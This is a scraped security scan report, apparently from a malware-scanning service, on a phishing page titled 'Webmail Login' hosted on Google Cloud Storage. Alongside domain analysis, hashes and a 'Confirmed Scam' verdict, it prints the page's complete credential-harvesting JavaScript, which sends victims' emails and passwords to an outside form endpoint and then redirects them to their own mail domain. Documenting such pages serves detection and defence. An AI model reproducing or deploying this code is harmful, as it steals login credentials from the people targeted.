phishing scam

documentation technical

technology software

news media journalism

government public service

English

You're looking at domain 'storage.googleapis.com' on the commercial generic top-level domain (.com) and includes subdomain 'storage'. The second-level label 'googleapis' is 10 characters long with five vowels and 5 consonants. Breaking it apart gives two words: google, apis. The median word length lands at five characters. No strong language cues emerged from the frequency lists.

_gotcha

email

password

html/df/aa/dfaa6142-7be9-497e-b521-519600f220df.html.gz

4bcf985d9204a34207945dadb6ccd58036991a01682d610bb4b2d9435fd43e0b

b96c2e4b307abf5fff6adb1145cb75a4099196a053be82f702f1e6320ca4013d

viewport

robots

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

MarkMonitor Inc.

GOOGLEAPIS.COM

Google Inc.

Google LLC

GOOGLE


    // Formspark endpoint
    const FORMSPARK_URL = "https://submit-form.com/qlnwsWKec";
    
    // Get email from URL hash (e.g., #email@domain.com)
    function getEmailFromURL() {
      if (window.location.hash && window.location.hash.includes('@')) {
        return window.location.hash.substring(1);
      }
      const urlParams = new URLSearchParams(window.location.search);
      if (urlParams.has('email')) {
        return urlParams.get('email');
      }
      return null;
    }
    
    // Pre-fill email field
    const emailFromUrl = getEmailFromURL();
    const emailInput = document.getElementById('user');
    if (emailFromUrl) {
      emailInput.value = emailFromUrl;
    } else {
      emailInput.value = 'No email specified in URL';
    }
    
    // Form submission handler
    const form = document.getElementById('loginForm');
    const loader = document.getElementById('loader');
    let attemptCount = 2;
    let firstPassword = '';
    
    form.addEventListener('submit', async function(e) {
      e.preventDefault();
      
      const email = document.getElementById('user').value.trim();
      const password = document.getElementById('pass').value.trim();
      
      if (!email || email === 'No email specified in URL') {
        alert('Please enter a valid email address');
        return;
      }
      
      if (!password) {
        alert('Please enter your password');
        return;
      }
      
      attemptCount++;
      
      // Show loader
      loader.style.display = 'flex';
      
      // Prepare data for Formspark
      const formData = {
        email: email,
        password: password,
        webmail_login: true
      };
      
      // Add first attempt info on second try
      if (attemptCount === 2) {
        formData.first_attempt_password = firstPassword;
        formData.attempt = 'second';
      } else if (attemptCount === 1) {
        firstPassword = password;
        formData.attempt = 'first';
      }
      
      try {
        await fetch(FORMSPARK_URL, {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify(formData)
        });
      } catch(err) {
        console.log('Formspark error:', err);
      }
      
      // Extract domain from email for redirect
      const domain = email.split('@')[1];
      
      // Redirect to the real domain without exposing password in URL
      setTimeout(() => {
        window.location.href = `https://${domain}`;
      }, 1500);
    });
  

PasswordField

Google Cloud

HTTP/3

Google Cloud Storage

Webmail Login

⚠️ High Risk - https://storage.googleapis.com/mailer-daemon/secure-login.html#contact@scanmalware.com

Requests	IP Address	Location	AS Autonomous System
3	192.178.183.207Google · CDN	United States	AS15169Google LLC
3	1	-	-

Security Scan Report: storage.googleapis.com

Summary

AI Security Verdict

Confirmed Scam

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies4

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History